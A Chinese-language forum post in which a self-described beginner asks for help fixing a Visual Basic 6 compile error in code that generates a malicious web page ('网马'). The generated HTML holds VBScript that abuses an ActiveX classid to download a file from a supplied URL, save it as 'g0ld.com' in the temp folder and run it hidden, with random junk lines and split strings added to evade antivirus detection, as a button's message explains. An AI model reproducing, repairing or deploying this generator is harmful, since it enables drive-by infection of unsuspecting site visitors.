本人才鸟。。。。
看别人写东西。。眼馋所以也试试。。。
结果话了一上午时间看书打了些代码
但是出错。。。提示用户定义类型未定义的错误。。
代码如下:
Public Sub ganrao(a)
'此过程用于向文件里写入规定行数随机产生的干扰码,在ASCLL码中,A-Z为65-90,a-z为97-122
Dim b, e, g As lnteger
Dim d As String
e = Text2.Text '取得用户输入干扰码的行数
g = Text3.Text '取得用户输入干扰码的位数
For f = 1 To e '每循环一次就写入一行干扰码
d = ""
For c = 1 To g '每循环一次变量就增加一组随机字母
Randomize '设置随机种子
b = Fix(65 + Rnd * 58) '生成65-122的随机数
While (90 < b And b < 97)
'如果在90-97直接的就重新开始,目的是生成65-90或97-122直接的随机数
Randomize
b = Fix(65 + Rnd * 58)
Wend
d = d & Chr$(b)
'把随机生成的字母加到变量d的后面
Next c
Print #a, d '写入一行干扰码
Next f
End Sub
Private Sub Command1_Click()
a = FreeFile() '获得一个可用的文件号
Open ".\qiao.htm" For Output As #a
'打开当前目录下的qiao.htm文件,没有则创建一个新的
Print #a, "<html>"
Print #a, "<script language=""VBScript"">"
Print #a, "on error resume next"
Call ganrao(a)
'从容错语句开始,每一行代码就调用ganrao()过程向文件中加入干扰代
Print #a, "dl=""" & Text1.Text & """"
Call ganrao(a)
Print #a, "Set df = document.createElement(""object"")"
Call ganrao(a)
Print #a, "df.setAttribute ""classid"", ""clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"""
Call ganrao(a)
Print #a, "str=""Microsoft.XMLHTTP"""
Call ganrao(a)
Print #a, "Set x = df.CreateObject(str,"""")"
Call ganrao(a)
Print #a, "a1=""Ado"""
Call ganrao(a)
Print #a, "a2=""db."""
Call ganrao(a)
Print #a, "a3=""Str"""
Call ganrao(a)
Print #a, "a4=""eam"""
Call ganrao(a)
Print #a, "str1=a1&a2&a3&a4"
Call ganrao(a)
Print #a, "str5=str1"
Call ganrao(a)
Print #a, "set S = df.createobject(str5,"""")"
Call ganrao(a)
Print #a, "S.type = 1"
Call ganrao(a)
Print #a, "str6=""GET"""
Call ganrao(a)
Print #a, "x.Open str6, dl, False"
Call ganrao(a)
Print #a, "x.Send"
Call ganrao(a)
Print #a, "fname1=""g0ld.com"""
Call ganrao(a)
Print #a, "set F = df.createobject(""Scripting.FileSystemObject"","""")"
Call ganrao(a)
Print #a, "set tmp = F.GetSpecialFolder(2)"
Call ganrao(a)
Print #a, "fname1= F.BuildPath(tmp,fname1)"
Call ganrao(a)
Print #a, "S.open"
Call ganrao(a)
Print #a, "S.write x.responseBody"
Call ganrao(a)
Print #a, "S.savetofile fname1,2"
Call ganrao(a)
Print #a, "S.close"
Call ganrao(a)
Print #a, "set Q = df.createobject(""Shell.Application"","""")"
Call ganrao(a)
Print #a, "Q.ShellExecute fname1,"""","""",""open"",0"
Call ganrao(a)
Print #a, "</script>"
'到这里就结束VB脚本了,不要在加入干扰代码。
Print #a, "<head>"
Print #a, "<titlel>^_^!!橋橋專用網馬</title>"
Print #a, "</head><body>"
Print #a, "<center></center>"
Print #a, "</body></html>"
Close #a '关闭文件,记得表忘记噢!
MsgBox "生成完毕!", vbYes, "^_^!!橋橋專用網馬生成器"
End Sub
Private Sub Command2_Click()
End
End Sub
Private Sub Command3_Click()
Dim qiao
qiao = "昨天晚上看了一文章从中受益。免杀原理是利用生成文件中的on error resume next(容错语句,如果执行错误,不报错继续执行下一步。)所以说,我们可以利用这一点添加无用代码。导致杀软无法定义特征码,从而免杀。"
MsgBox qiao, vbYes, "^_^!!橋橋專用网马網馬生成器免杀版"
End Sub
麻烦好心的大哥哥。。大姐姐 帮忙解决下。。。